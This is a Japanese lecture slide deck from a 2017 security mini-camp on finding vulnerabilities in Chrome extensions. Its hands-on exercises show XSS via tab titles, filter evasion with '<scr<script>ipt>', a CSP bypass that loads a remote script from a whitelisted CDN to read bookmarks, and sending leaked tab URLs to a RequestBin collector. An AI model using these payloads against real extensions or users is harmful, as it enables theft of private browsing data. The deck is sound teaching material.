Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Chrome拡張機能の脆弱性を探そう!

850 views

Published on

セキュリティ・ミニキャンプ in 北陸 2017(金沢)の講義資料です。WebExntensionsの脆弱性を考えます。

Published in: Technology
  • Be the first to comment

Chrome拡張機能の脆弱性を探そう!

  1. 1. Chrome拡張機能の 脆弱性を探そう! 北陸金沢ミニキャンプ2017 12/3 KageShiron
  2. 2. About this • 北陸金沢ミニキャンプ2017の講義資料を公開用に再編したもの です。 • 外部への攻撃や、修正前の脆弱性の公開は違法行為や犯罪行為 となり、目的によらず罰せられる可能性があります。十分に注 意し、わからないことがあれば詳しい人に相談しましょう。 • スライド中で使う資料を以下からダウンロード可能です。 • 予告なく公開を終了する可能性があります。それ以降はお問い合わせ ください。 • https://goo.gl/fVxxYA
  3. 3. Chromeの拡張機能は便利! • スクリーンショットから、パスワードの自動入力、広告ブロッ クまで、多彩な拡張機能が存在 • FirefoxやEdgeでも同じ方式の拡張機能を採用(WebExtension) • ただし、まだ使える機能にはだいぶ差異がある • 今回はChromeに絞って説明しますが、FirefoxやEdgeでも同様 のはずです
  4. 4. 凡例 • 青 通常のWebページや、Webページの権限のデータのやりと りなど • オレンジ 拡張機能ページや、拡張機能の権限のデータのやり とりなど
  5. 5. 拡張機能の特権 • Webサイトなどと同様にJavaScriptで記述可能 • ブラウザの拡張機能は通常のWebサイトにない権限を持っている • 全てのWebサイト上にあるデータの読み取り、変更 • ブックマークへのアクセス • タブやウィンドウの操作 などなど • これにより通常のWebサイト ではできないような機能を 提供できる
  6. 6. 通常のWebサイトにある脆弱性 デジタル大辞泉より ぜいじゃく‐せい【×脆弱性】 1 もろくて弱い性質または性格。 2 コンピューターネットワークにおける安全上の欠陥。オペ レーティングシステムやアプリケーションソフトのバグ、開発者 が予期しなかった利用方法などにより、悪意のある第三者によっ てコンピューターウイルスに感染させられたり、不正アクセスの 被害にあったりするおそれがあること。
  7. 7. XSS(クロスサイトスクリプティング) 予期しない場面でスクリプトが実行されてしまう脆弱性 ようこそ さん!
  8. 8. 通常のWebサイトでXSSがあると・・・ • 偽の情報やフォームを設置する • 怪しいサイトに誘導する • そのサイトのログイン情報や個人情報が盗まれる! • SNSなら勝手に投稿される! • 通販サイトなら無断で注文が実行される! • 銀行サイトなら不正にお金が送金される! XSSがあるサイト上で自由にスクリプト が実行されてしまう!
  9. 9. 同一オリジンポリシー(Same Origin Policy) 「オリジン」によって境界を設けて権限が分離されている オリジンが違う(=別のサイト)の情報を読んだり、操作はできない SNS https://sns.test 脆弱な Webサイト http://example.com 銀行サイト https://example.bank
  10. 10. 注意:SOPでは送信は防げない • SOPは「送信」を防ぐ仕組みではない • XMLHttpRequestなどでは攻撃者のサイトの中身は読めないが、 リクエストは送信される • Webの原理的に回避方法があるので塞いでも意味がない • 例 : imgタグのsrcには別オリジンのURLを指定可能 • <img src="http://example.com?個人情報" /> 脆弱なサイト 攻撃者のサイト個人情報など
  11. 11. 再掲:拡張機能の特権 • Webサイトなどと同様にJavaScriptで記述可能 • ブラウザの拡張機能は通常のWebサイトにない権限を持っている • 全てのWebサイト上にあるデータの読み取り、変更 • ブックマークへのアクセス • タブやウィンドウの操作 などなど
  12. 12. ブラウザの拡張機能 SNS https://sns.test 脆弱な Webサイト http://example.com 銀行サイト https://example.bank
  13. 13. 実際に試してみよう • VulnExtension1 • タブの一覧を左に表示する拡張機能です • サンプルなのでいろいろ動きが怪しいですが、お気になさらず • アドレスバーに「chrome://extensions」と打ち込み、拡張機 能管理ページへ。 • 「デベロッパーモード」にチェックを入れて「パッケージ化さ れていない拡張機能を読み込む」をクリックして、フォルダを 指定することで拡張機能をインストールできます。
  14. 14. Chrome Extensionの読み方 • manifest.jsonを読む • 拡張機能の情報を設定するファイル • ここを読めば必要なことが一通りわかる • https://developer.chrome.com/extensions/manifest • "permissions" 拡張機能が必要とする権限を定義する • "tabs" タブを操作する権限。タブのURL、位置、状態、ファビコンな どにアクセス可能となる。
  15. 15. Chrome Extensionの読み方 • "content_scripts" Webページで実行するスクリプト、CSS • matches 実行するWebサイト。<all_urls>だと全てのページ • js,css それぞれ実行するスクリプトと読み込むCSS • run_at 実行するタイミング • "background" • 常に裏で起動しており、拡張機能の特権が使えるページ。コンテント スクリプトとやりとりを行う。 • ここで得られた情報を元に、コンテントスクリプトや、バック グラウンドスクリプトを読んでいく。
  16. 16. 答:XSSの脆弱性がある • content.js内 • t.urlやt.titleにタグが埋め込み可能です。Googleで 「<script>alert("hello")</script>」と検索後、別のページを 開いて見ましょう。 • 全てのページでスクリプトが実行されてしまいます。 SNSでも、銀行サイトでも! var li = $("<li><div class='title '><img src='" + t.favIconUrl + "'>" + t.title + "</div><div class='url '>" + t.url + "</div></li>");
  17. 17. ブラウザ拡張の脆弱性の問題点 • 個人規模の拡張機能の小さな脆弱性が多くのサイトに影響 • 小さい個人Webサイトであればそこまで気にする必要はなかったのに • Webサイト側で対処するのが不可能 • Webサイトは拡張機能がない状態を想定して設計しされている • 仮に脆弱性のある拡張機能があることを知っていても対処は困難 • 責任の所在やどこに通報して良いのか難しい
  18. 18. 例えば、脆弱性より不正送金されたら? 銀行 開発者 うちのサイトに脆弱性はないよ 利用規約にある通り 拡張機能の利用は自己責任だよ 修正はするかもしれないけど 脆弱性や不具合の責任まではもたないよ
  19. 19. 脆弱性2:タイトルやURLを読み取られる • タイトルやURLは通常のテキストとしてWebサイトに追加される • WebページからタブのタイトルやURLを読み取られてしまう • これは脆弱性と言えるか? • 脆弱性なら、どんな問題がある? 拡張機能によって 追加された要素 通常のWebページ http://example.comContent Script タイトル URL Webページ側から読み取り可能
  20. 20. 拡張機能作者の対策 • 通常のWebサイトと同じ、XSSなどの脆弱性を作り込まない • 「ユーザーが入力するデータ」「拡張機能のAPIから渡ってく る情報」には特に注意。意図しない情報が入ってくる危険があ る。 • 可能な限り余分な権限を使わない
  21. 21. 答2:タイトルやURLを読み取られる • プライバシーの侵害 • 利用者の見ているサイトや検索ワードがバレる • プライバシーや通信の秘密は重要な権利 • 機密情報が含まれる可能性がある • URLにセッションIDなどが含まれる • ユーザー名やメールアドレスが含まれる • 目的の個人情報があるページを勝手に、または利用者を誘導して開か せることで比較的容易に個人情報が収集できる • Gmail→タイトルに自分のメールアドレスが • Facebook→https://www.facebook.com/profileを開くとタイトルに名前が
  22. 22. 実際にデータを読み取ってみよう • 実際に本来取得できないはずのタイトルやURL(機密情報)を外 部に送信してみます。 ① 機密情報の送信先のサイトを用意 ② 攻撃ページの用意 ③ 攻撃ページのプログラムを記述
  23. 23. ①送信先のサイトを用意 • RequestBin • 飛んできたリクエストを記録してくれるサイト • https://requestb.in/ 1. (念のためPrivateにチェックをつける) 2. Create a RequestBinをクリック 3. 新たなURLが発行される 4. ブラウザとかで後ろに"?SecretInformation"とかをつけてアク セス
  24. 24. ①送信先のサイトを用意 5. 先ほどのページ(URLの後ろに?inspectをつけたもの)を開く と、アクセスの記録が残る! 6. ここのページに何らかの形でリクエストを投げられれば同様 の方法で外部に機密情報を送信できるということ
  25. 25. ②攻撃ページの用意 • 「Web Server for Chrome」は簡単にローカルサーバーを立て られるChromeアプリです。(自分のホームページを使ったり、 他の手段でローカルサーバを立てても構いません) 1. 事前にインストールしてない方はChrome Web Storeから 「Web Server for Chrome」で検索 2. 適当なフォルダにindex.html というファイルを作成 3. アプリを起動し、"CHOOSE FOLDER" からそのフォルダを指定 4. 下のhttp://127.0.0.1:8887を クリック
  26. 26. ③攻撃ページの記述 • 先ほどのindex.htmlにプログラムを書いてみましょう。 RequestBinにタブやURLの情報が表示できれば成功です。 • HTML/JavaScriptが苦手な方は、途中まで埋めたサンプルがあ るので、それを使ってみてください。(attacksample) • 拡張機能が挿入するサイドバーのIDなどが必要な場合は デベロッパーツールを利用して 確認することができます。
  27. 27. ④まとめ • requestb.inにタブの情報が表示されて入れば成功です。 • これと同一の方法で、攻撃者は好きなページに機密情報を送る ことができてしまいます。 • うまくいかない場合のヒント • 標準のブラウザで開いてしまう場合がありますが、必ず拡張機能をイ ンストールしたChromeで開いてください。 • 送信先のURLは "http://requestb.in/xxxxx?機密情報"のよのように、? が入ります。抜けていないか確認してください。 • この?から後ろはパラメータだよという意味です。例えば、Googleで 検索すると"https://www.google.co.jp/search?q=検索ワード"のよの ように?の後ろに色々な情報が載っているのがわかります。
  28. 28. 安全にデータを埋め込むには • iframeタグでchrome-extension://のページを埋め込む必要が ある。 拡張機能のページ chrome-extension://〜 通常のWebページ http://example.comContent Script 埋め込み 拡張機能のBackgroundページ データ(例:URLとタイトル) 同一オリジンポリシーにより やりとりは認められない
  29. 29. より詳しく学ぶなら • Google Chromeのリファレンス • Mozilla Developers Network(MDN)のWebExtensionsのページ • ブラウザハック(書籍) • 実際に拡張機能を書いてみる • 通常のWebのセキュリティと同一の知識 • 実際に脆弱性を探してみる
  30. 30. おまけ:Chromeの拡張機能のダウンロード • 自身のブラウザにインストール後にその場所を見る • Windows • C:Users(ユーザ名)AppDataLocalGoogleChromeUser DataDefaultExtensions • Mac • /Users/(ユーザー名)/Library/Application Support/Google/Chrome/Default/Extensions • Chrome extension source viewer • ストア上の拡張機能の中身を確認できるツール • crx、zipでのダウンロードも可能 • ググるとダウンロードできるサイトもある • crxはzipにヘッダーをつけたもの。解凍はフリーソフトの7zip でできることを確認
  31. 31. 追加スライド CSP • 当日は駆け足の説明となってしまいました
  32. 32. 拡張機能のページ chrome-extension://〜 通常のWebページ http://example.comContent Script タブ(http://example.com) コンテントスクリプトや埋め込みiframeの中では拡張機能内 のやりとりと、同一オリジンポリシーの無視などの特権が与 えられている。 拡張機能の特権(制限付き)
  33. 33. 拡張機能の特権(制限なし) 一方で、バックグラウンドページやポップアップ、拡張機能のタブで はmanifest.jsonのpermissionに指定することでより強い特権が利用で きる タブの操作、ブックマークの操作、通信の傍受・書き換え...etc ここに脆弱性があったら? 拡張機能のページ chrome-extension://〜 ポップアップ 拡張機能のページ chrome-extension://〜 バックグラウンドページ 拡張機能のページ chrome-extension://〜 拡張機能のタブ
  34. 34. 実際に確認して見る • Googleなどで<>bold!</b><script>alert("hello!")</script>な どと検索。通常のWebサイトではhello!というアラートが表示 されてしまう。 • 先ほどの拡張機能にはtest.htmlというページがあるのでそこを 開く • chrome-extension://拡張機能ID/test.html • 拡張機能IDはChromeの拡張機能管理ページから確認可能です。 • ここではbold!は太字になっているのに、スクリプトは実行さ れない • merqueeタグを使うとわかりやすい
  35. 35. Content Security Policy(CSP)に守られた! • デベロッパーツールに以下のようなログがある • CSPの指定にないスクリプトの実行は許可されない • おかげで特権ページが乗っ取られ、任意のスクリプトが実行さ れる事態は防げた。
  36. 36. Content Security Policy • Content Security Policy(CSP)はXSSなどの攻撃からWebサイ トや拡張機能を守るための機構 • 標準では同じ拡張機能内に含まれるjsファイルを<script src="script.js"></script>のように指定した場合のみ実行可能 • X 別のオリジンにあるファイル(例:http://example.com/script.js) • X <script>alert("hello!")</script>のようにページ中に埋め込まれた スクリプト • これにより、単純なXSSの被害の緩和が期待できる
  37. 37. CSPは緩められる • この制限は安全だけどかなり厳しくてうざい • 一番制限を強めるとCSS、スクリプト、画像、動画なんかも一切読み 込み不能になる • Chrome Extensionの標準ではスクリプトとオブジェクト(Flashなど) のみが指定されている。 • 制限を緩めたい • Webサイトを拡張機能として移植したい(scriptタグが含まれる) • 外部においてあるスクリプトを読み込みたい • トラッキングや広告の表示にスクリプトが必要 → manifest.jsonに記述することで可能 →セキュリティ機構を緩める以上、当然危険も・・・
  38. 38. 実際に脆弱性を試して見る • Vuln-Extension2 • chrome-extension://拡張機能ID/popup.html • 検索機能つきのセキュリティミニキャンプの一覧表です。 • まず脆弱性を探してみましょう。 • スクリプトはCSPによって実行できないはずです。 <marquee>test</marquee>などを挿入できれば、testという文字が 流れて脆弱性の存在が確認できます。
  39. 39. 脆弱性 • エスケープされていないので、またタグを挿入できます。 • 検索欄に<maruqee>test</marquee>とか入れれば確認可能 • ただ、これだけだとユーザーの入力を伴うので脆弱性としては ちょっと乏しい //検索しました!を表示 $("#search-result").html(text + "を検索しました!");
  40. 40. 脆弱性 • URLにpopup.html#<mareuqee>test</marquee>のように指 定されるとそれが検索窓に入る • 普通Webページのリンクからは拡張機能のページを開けませんが、他 の脆弱性によって回避される可能性がしばしばあります。 // 「popup.html#金沢」のように開くと、「金沢」の部分だけ取得 var search = location.hash.substring(1); // <script>タグっぽいものを削除する search = search.replace(/<script.*?>/g,""); $("#search-text").val(search);//検索ボックスに入れる $("#search-button").click();//クリック
  41. 41. <script>を除去しようとしているが・・・ • search.replace(/<script.*?>/g,"");のようにして、<script>っ ぽいものを除去しようとしていますが、これは逆効果です。 "<scr<script>ipt >"を除去すると、"<script>"になってしまい ます。 • ミニキャンプ当日は入れてなかったのですが、Google Chrome は標準のXSSフィルターという機能で、XSSっぽいものの除去 を試みます。それを回避するために追加しました。 • 詳細は「XSSフィルター」で検索してみてください。今回は詳 しくは述べません。
  42. 42. CSPのバイパス • manifest.jsonに上記の指定がある。scriptタグの読み込み先を 以下に限定 • 'self'(拡張自信内部) • ' https://cdn.rawgit.com'(GitHubを利用したCDN) • popup.htmlを見ると、jQueryをGithub gistから読み込んでいる ことがわかる "content_security_policy": "script-src 'self' https://cdn.rawgit.com; object-src 'self'" 自分でも任意のファイルを Github上で公開可能
  43. 43. 実際に攻撃を行ってみよう • (1)gistに任意のスクリプトを記述する。 • https://gist.github.com • (gistはログイン不要だが、どうやらrawgitはログインユーザーしか対 応してないらしい) • (2)RawGitでCSP内で実行できるスクリプトを記述する • https://rawgit.com/ • (3)<script src="先ほどのファイル"></script>と拡張機能の検 索欄に入れて、スクリプトが実行されることを確認しよう
  44. 44. 例 • この拡張機能では、tabs、bookmarks、<all_urls>の権限が与 えられています。 • 上の例は最近使ったブックマークを1つ表示。 • https://cdn.rawgit.com/KageShiron/dcff92d89453bea8c20a2 ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4 a/csp-bypass.js chrome.bookmarks.getRecent(1,function(x){ alert(x[0].title); });
  45. 45. 例: • 拡張機能のページで上のように検索して見ると、CSPをバイパ スし、アラートが表示されることがわかります。 • URLからアクセスする場合は、#以下を下記に • #<scr<script>ipt src="https://c<script>dn.rawgit.com/KageShiron/dcff92d89453bea 8c20a2ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4 a/csp-bypass.js"></script> <script src="https://cdn.rawgit.com/KageShiron/dcff92d89453bea8c20a2 ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4a/cs p-bypass.js"></script>

×